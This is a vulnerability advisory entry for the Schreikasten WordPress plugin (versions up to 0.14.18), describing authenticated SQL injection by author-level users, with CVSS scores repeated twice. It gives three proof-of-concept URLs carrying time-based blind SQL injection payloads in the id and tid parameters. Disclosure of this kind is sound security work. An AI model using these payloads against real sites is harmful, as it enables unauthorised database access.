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WpvulndbWPEX-ID:A0787DAE-A4B7-4248-9960-AAFFABFAEB9F

HistoryOct 07, 2021 - 12:00 a.m.

Schreikasten <= 0.14.18 - Author+ SQL Injections

2021-10-0700:00:00

wpvulndb

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

JSON

The plugin does not sanitise or escape the id GET parameter before using it in SQL statements in the comments dashboard from various actions, leading to authenticated SQL Injections which can be exploited by users as low as author

https://example.com/wp-admin/edit-comments.php?page=skmanage&mode=edit&text&paged=1&mode_x=delete_x&id=6%20AND%20(SELECT%209304%20FROM%20(SELECT(SLEEP(5)))ghFg)

https://example.com/wp-admin/edit-comments.php?page=skmanage&mode=tracking&text&paged=1&mode_x=delete_x&id=7&tid=6%20AND%20(SELECT%209304%20FROM%20(SELECT(SLEEP(5)))ghFg)

https://example.com/wp-admin/edit-comments.php?page=skmanage&mode&text&paged=1&mode_x=set_black_x&id=2%20AND%20(SELECT%20614%20 FROM (SELECT(SLEEP(5)))ewlo)

References

codevigilant.com/disclosure/2021/wp-plugin-schreikasten/

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

JSON

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